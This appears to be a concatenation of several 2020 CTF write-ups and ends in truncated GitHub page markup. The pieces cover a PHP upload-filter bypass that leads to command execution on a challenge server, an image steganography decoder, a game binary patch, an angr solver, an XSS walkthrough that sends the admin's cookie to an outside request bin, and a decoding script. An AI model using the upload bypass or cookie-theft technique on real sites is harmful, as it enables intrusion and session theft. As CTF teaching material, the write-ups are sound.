# ▼▼▼Defund's Crypt(Web、120pts、304/1596=19.0%)▼▼▼ This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf) `https://crypt.2020.chall.actf.co/src.php` ↓ ``` <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <link href="https://fonts.googleapis.com/css?family=Inconsolata|Special+Elite&display=swap" rel="stylesheet"> <link rel="stylesheet" href="/style.css"> <title>Defund's Crypt</title> </head> <body> <h1>Defund's Crypt<span>o</span></h1> 1000000) { throw new RuntimeException('People can only remember so much..'); } $finfo = new finfo(FILEINFO_MIME_TYPE); if (false === $ext = array_search( $finfo->file($_FILES['imgfile']['tmp_name']), array( '.jpg' => 'image/jpeg', '.png' => 'image/png', '.bmp' => 'image/bmp', ), true )) { throw new RuntimeException("Your memory isn't picturesque enough to be remembered."); } if (strpos($_FILES["imgfile"]["name"], $ext) === false) { throw new RuntimeException("The name of your memory doesn't seem to match its content."); } $bname = basename($_FILES["imgfile"]["name"]); $fname = sprintf("%s%s", sha1_file($_FILES["imgfile"]["tmp_name"]), substr($bname, strpos($bname, "."))); if (!move_uploaded_file( $_FILES['imgfile']['tmp_name'], "./memories/" . $fname )) { throw new RuntimeException('Your memory failed to be remembered.'); } http_response_code(301); header("Location: /memories/" . $fname); } catch (RuntimeException $e) { echo "" . $e->getMessage() . ""; } } ?> <form method="POST" action="/" autocomplete="off" spellcheck="false" enctype="multipart/form-data"> Leave a memory: <input type="file" id="imgfile" name="imgfile"> <label for="imgfile" id="imglbl">Choose an image...</label> <input type="submit" value="Descend"> </form> <script> imgfile.oninput = _ => { imgfile.classList.add("satisfied"); imglbl.innerText = imgfile.files[0].name; }; </script> </body></html>``` " . $e->getMessage() . " Leave a memory: ↓ ```if (false === $ext = array_search( $finfo->file($_FILES['imgfile']['tmp_name']), array( '.jpg' => 'image/jpeg', '.png' => 'image/png', '.bmp' => 'image/bmp', ), true)) { throw new RuntimeException("Your memory isn't picturesque enough to be remembered.");}if (strpos($_FILES["imgfile"]["name"], $ext) === false) { throw new RuntimeException("The name of your memory doesn't seem to match its content.");}``` ↓ In order to pass this path, for example, `MMEType may be set to png` and `the same extension name png` may be present in the file name. ↓ ```POST / HTTP/1.1Host: crypt.2020.chall.actf.coContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryrDvxOBjItkRppQlHContent-Length: 234 ------WebKitFormBoundaryrDvxOBjItkRppQlHContent-Disposition: form-data; name="imgfile"; filename="hacker_white1.png.php"Content-Type: image/png ?PNG ------WebKitFormBoundaryrDvxOBjItkRppQlH--``` ↓ ```Location: /memories/0e2d1102b4a852aec56ebf7292db3400e9db253d.png.php``` --- `https://crypt.2020.chall.actf.co/memories/0e2d1102b4a852aec56ebf7292db3400e9db253d.png.php?cmd=ls%20/` ↓ ```?PNG ? bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var``` --- `https://crypt.2020.chall.actf.co/memories/0e2d1102b4a852aec56ebf7292db3400e9db253d.png.php?cmd=cat%20/flag.txt` ↓ `{actf{th3_ch4ll3ng3_h4s_f4ll3n_but_th3_crypt_rem4ins}`
# msd### Category: misc### Description:You thought Angstrom would have a stereotypical LSB challenge... You were wrong! To spice it up, we're now using the [Most Significant Digit](public.py). Can you still power through it? Here's the [encoded image](output.png), and here's the [original image](breathe.jpg), for the... well, you'll see. ### Author: JoshDaBosh### Solution:In MSD we get two images, one has been encoded with this code ```pyfrom PIL import Image im = Image.open('breathe.jpg')im2 = Image.open("breathe.jpg") width, height = im.size flag = "REDACT"flag = ''.join([str(ord(i)) for i in flag]) def encode(i, d): i = list(str(i)) i[0] = d return int(''.join(i)) c = 0 for j in range(height): for i in range(width): data = [] for a in im.getpixel((i,j)): data.append(encode(a, flag[c % len(flag)])) c+=1 im.putpixel((i,j), tuple(data)) im.save("output.png")pixels = im.load()``` This essentially builds a long numeric string ```flag``` concatenating the byte-values of the characters in the real flag. Then each channel of each pixel is encoded by replacing its most significant digit with one digit from ```flag```.We can thus reconstruct ```flag``` by taking the MSD of every pixel in the encoded image, and appending it to a string. Or maybe not. Doing this will result in junk output, as we haven't handled the case when zeroes happen to replace the MSD; obviously we can't know whether this is the case without knowing what the value looked like before the encoding (Example: value 61 can be had both by replacing the MSD in 91 with a six and by replacing the MSD in 161 with a zero). We deal with this by comparing the magnitude of the original picture and the encoded one: ```pydecimal = [] for j in range(height): for i in range(width): for imp, outp in zip(im.getpixel((i,j)), out.getpixel((i,j))): imp = str(imp) outp = str(outp) if len(imp) != len(outp): #if lengths are different, it means that the MSD decimal += '0' #of a 3-digit value has been replaced by a zero else: decimal += outp[0] decimal = ''.join(decimal)``` Now we have ```decimal```, the exact reconstruction of the expanded ```flag``` string. We just have to get out of this printable characters, so we can retrieve our flags.We know ascii printable values range from 32 to 126, so we can't just split the string in 2-digit long pieces and convert it; we have to understand when we have to take a 3 digit long string, and when we have to take a 2 digit long one. The simplest way is checking if it begins with a ```1```. Knowing we can't go under 32, it doesn't make sense to take a 2 digit string if it begins with a one. This is nice, because neither taking a 3 digit string makes sense *if it starts with anything else than a one*. ```pyflag = [] i = 0while True: if decimal[i] == '1': flag += chr(int(decimal[i:i+3])) i += 3 else: flag += chr(int(decimal[i:i+2])) i += 2 if i == len(decimal): break``` This would make sense, but returns gibberish anyway. So what's wrong?If ```flag``` was a plain flag, there would be no such problems, but it is actually something else. Doing the conversion by hand shows that the first letters are ```L, o, r, e, m```. So a lorem ipsum, and our flag is hidden in there. Of course there are line feeds too, which carry an ascii value of 12. This is bad. This means that we can't just treat every single string that begins with ```1``` as if it was part of a 3 digit value. We changed our code so that it always tries to use strings that begin with ```1``` in stacks of three, but will trigger a line feed if the next stack can't be completed (if it begins with a ```2```, as no ascii printable characters exist over 126 and between 20 and 29) ```pyi = 0while True: if decimal[i] == '1': if decimal[i+1] == '0' and decimal[i+3] == '2': flag += '\n' i += 2 else: flag += chr(int(decimal[i:i+3])) i += 3 else: flag += chr(int(decimal[i:i+2])) i += 2 if i == len(decimal): break```This might not be perfect, but it was enough to retrieve the complete flag. Here's the complete script:```pyfrom PIL import Imageimport re im = Image.open('breathe.jpg')out = Image.open('output.png') width, height = out.size #flag = "REDACT"#flag = ''.join([str(ord(i)) for i in flag]) decimal = [] for j in range(height): for i in range(width): for imp, outp in zip(im.getpixel((i,j)), out.getpixel((i,j))): imp = str(imp) outp = str(outp) if len(imp) != len(outp): decimal += '0' else: decimal += outp[0] decimal = ''.join(decimal)flag = [] i = 0while True: if decimal[i] == '1': if decimal[i+1] == '0' and decimal[i+3] == '2': flag += '\n' i += 2 else: flag += chr(int(decimal[i:i+3])) i += 3 else: flag += chr(int(decimal[i:i+2])) i += 2 if i == len(decimal): break flag = ''.join(flag)for x in re.findall('actf{.*}', flag): print(x)``` ### Flag:```actf{inhale_exhale_ezpz-12309biggyhaby}```
# Rhythm Game Vault (13 solves) Description: > Get all perfect to decrypt the flag.>> *by gg* ![mainwindow](images/mainwindow.png) We have to perfectly hit every arrow in order to get the flag. The game was impossible to solve by hand because of this moment: ![impossbile](images/impossbile.png) So we open **play.exe** in IDA and go to the **game loop** function. ```c++int __usercall game_loop@<eax>(long double fst7_0@<st0>){ exit = 0; v12 = 0; finished = Music::play((Timer **)music); while ( !exit ) { while ( SDL_PollEvent((SDL_keysym *)&a1) != 0 ) { if ( *(_DWORD *)&a1.type == 0x100 ) { exit = 1; } else if ( *(_DWORD *)&a1.type == 0x300 ) { v11 = (Lane *)-1; if ( v7 == 'w' ) goto LABEL_40; if ( v7 <= 'w' ) { if ( v7 == 'd' ) goto LABEL_22; if ( v7 != 's' ) { if ( v7 != 'a' ) goto LABEL_23;LABEL_21: v11 = 0; goto LABEL_23; }LABEL_20: v11 = (Lane *)1; goto LABEL_23; } if ( v7 == 0x40000050 ) goto LABEL_21; if ( v7 <= 0x40000050 ) { if ( v7 != 0x4000004F ) goto LABEL_23;LABEL_22: v11 = (Lane *)3; goto LABEL_23; } if ( v7 == 0x40000051 ) goto LABEL_20; if ( v7 == 0x40000052 )LABEL_40: v11 = (Lane *)2;LABEL_23: if ( v11 != (Lane *)-1 ) { v2 = (Lane **)std::vector<Lane *,std::allocator<Lane *>>::operator[](&lanes, (int)v11); Lane::hit(*v2); } } } SDL_SetRenderDrawColor((int)gRenderer); SDL_RenderClear((int)gRenderer, 255, 255, 255, 255); v10 = &lane;; v5 = std::vector<Lane *,std::allocator<Lane *>>::begin(&lanes); v4 = std::vector<Lane *,std::allocator<Lane *>>::end(v10); while ( (unsigned __int8)__gnu_cxx::operator!=<Lane **,std::vector<Lane *,std::allocator<Lane *>>>(&v5, &v4) ) { v9 = *(_DWORD *)__gnu_cxx::__normal_iterator<Lane **,std::vector<Lane *,std::allocator<Lane *>>>::operator*(&v5;; Lane::updateViewable(v9, fst7_0); __gnu_cxx::__normal_iterator<Lane **,std::vector<Lane *,std::allocator<Lane *>>>::operator++(&v5;; } (**(void (__fastcall ***)(int))mainScene)(mainScene); SDL_RenderPresent((int)gRenderer); finished = v12 != 1 && (unsigned __int8)::finished(); if ( (_BYTE)finished ) { if ( !allPerfect() ) { finished = SDL_ShowSimpleMessageBox(64, "Done", "Get all perfect to decrypt the secret!", gWindow); } else { std::vector<Lane *,std::allocator<Lane *>>::vector(&lanes); v3 = showSecret((int)gWindow, (int)&v8, secret_path) ^ 1; finished = std::vector<Lane *,std::allocator<Lane *>>::~vector(&v8;; if ( (_BYTE)v3 ) finished = SDL_ShowSimpleMessageBox( 64, "Done", "There seems to be no secret attached to this song, or the secret was corrupted. ", gWindow); } v12 = 1; } } return finished;}``` We are interested in **Lane::hit** function. Every keystroke that we press goes to this function. ![hit](images/hit.png) I didn't actually reverse this function, just made some educational guesses and tests. In game, there are 4 possible hits **Perfect, Amazing, Good, Bad** In this function, there are 4 if else statements. After some testing we find which if else statement sets the **Perfect** hit. So we just nop every other hit from this function and leave only the **Perfect** one. After some patching the function now looks like this: ![perfect](images/perfect.png) So, every time we press keystroke and if we hit perfect, we register it, otherwise we just return. So now if we open the game, hold **W A S D** at the same time for the whole song, we get the flag! ![secret](images/secret.png)
```import angrimport claripyimport sysproject = angr.Project('./autorev_assemble') input_ = claripy.BVS('input', 256) init_state = project.factory.entry_state() def is_successful(state): stdout_output = state.posix.dumps(sys.stdout.fileno()) if b'SOLVED' in stdout_output: return True else: return False def should_abort(state): stdout_output = state.posix.dumps(sys.stdout.fileno()) if b'INSUFFICIENT' in stdout_output: return True else: return False simulation = project.factory.simgr(init_state) simulation.explore(find=is_successful,avoid= should_abort) if simulation.found: found = simulation.found[0] print repr(found.state.posix.dumps(0)) ```
# Xmas Still Stands **50 Points** In this challenge we have a web page that have **Home Post Report Admin** pages so we have an idea of what we have to do we post a malicious payload that steal the cookie then report the post so that the admin can see it and the payload executes and steal his cookie. we first see if we can post HTML tags and we can then we post an img tag with invalid src and tell it to send the document cookie on error to our server or domain in this challenge lam using post bin. ![Imgur](https://i.imgur.com/B4JEPhS.png) when we submit the query we get the id of our post ![Imgur](https://i.imgur.com/5pCd3z8.png) we report the post with the post id ![Imgur](https://i.imgur.com/KAP0Lyu.png) we now go check our bin if we got any request ![Imgur](https://i.imgur.com/V2t2mHp.png) we go and add these cookie from storage toolbar ![Imgur](https://i.imgur.com/9AepMwj.png) we then navigate to Admin page and we get the flag ![Imgur](https://i.imgur.com/ZTktr5c.png) **Flag=actf{s4n1tize\_yOur\_html\_4nd\_yOur\_h4nds}**
``` import decimalfrom Crypto.Util.number import *def ungantunex(x, length=6): if len(long_to_bytes(x)) <= length: try: return long_to_bytes(x).decode('utf8') except UnicodeDecodeError: pass x = decimal.Decimal(x) root = int(x.sqrt(context=decimal.Context(prec=300))) pad = int(x) - (root ** 2) if pad > root: pad -= root return ungantunex(root, length), ungantunex(pad, length) return ungantunex(pad, length), ungantunex(root, length) f = open('flag.enc', 'rb')print(ungantunex(bytes_to_long(f.read()), 6))f.close() ```after run, we got this :```(((('m0rE_e', '_P41RI'), 'SUSEC{'), 'ct1ON}'), ('L39An7', 'NG_fUn'))``` with some brute force on permutations we can find the flag:```SUSEC{m0rE_eL39An7_P41RING_fUnct1ON}```
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctf-writeups/SuSeC CTF 2020/pwn/unary at master · KEERRO/ctf-writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="AF95:345B:158DE91:1619408:6412218E" data-pjax-transient="true"/><meta name="html-safe-nonce" content="31a51a561da64af1cf0148a97a37aa9b306b396e5dc68c50a496987775cb2f39" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBRjk1OjM0NUI6MTU4REU5MToxNjE5NDA4OjY0MTIyMThFIiwidmlzaXRvcl9pZCI6IjU2ODA0ODQxMDkxMTUzMzUwNTQiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="ce27ad749f65a7885b5414c47ca930d0056ab4a86cb5891bdc7ce40f7f29a293" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:162845937" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/e68933ac284b7f665c8ea555e19d7e6118920c67571ea8ca1312106e9058e23e/KEERRO/ctf-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-writeups/SuSeC CTF 2020/pwn/unary at master · KEERRO/ctf-writeups" /><meta name="twitter:description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/e68933ac284b7f665c8ea555e19d7e6118920c67571ea8ca1312106e9058e23e/KEERRO/ctf-writeups" /><meta property="og:image:alt" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-writeups/SuSeC CTF 2020/pwn/unary at master · KEERRO/ctf-writeups" /><meta property="og:url" content="https://github.com/KEERRO/ctf-writeups" /><meta property="og:description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/KEERRO/ctf-writeups git https://github.com/KEERRO/ctf-writeups.git"> <meta name="octolytics-dimension-user_id" content="46076094" /><meta name="octolytics-dimension-user_login" content="KEERRO" /><meta name="octolytics-dimension-repository_id" content="162845937" /><meta name="octolytics-dimension-repository_nwo" content="KEERRO/ctf-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="162845937" /><meta name="octolytics-dimension-repository_network_root_nwo" content="KEERRO/ctf-writeups" /> <link rel="canonical" href="https://github.com/KEERRO/ctf-writeups/tree/master/SuSeC%20CTF%202020/pwn/unary" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button 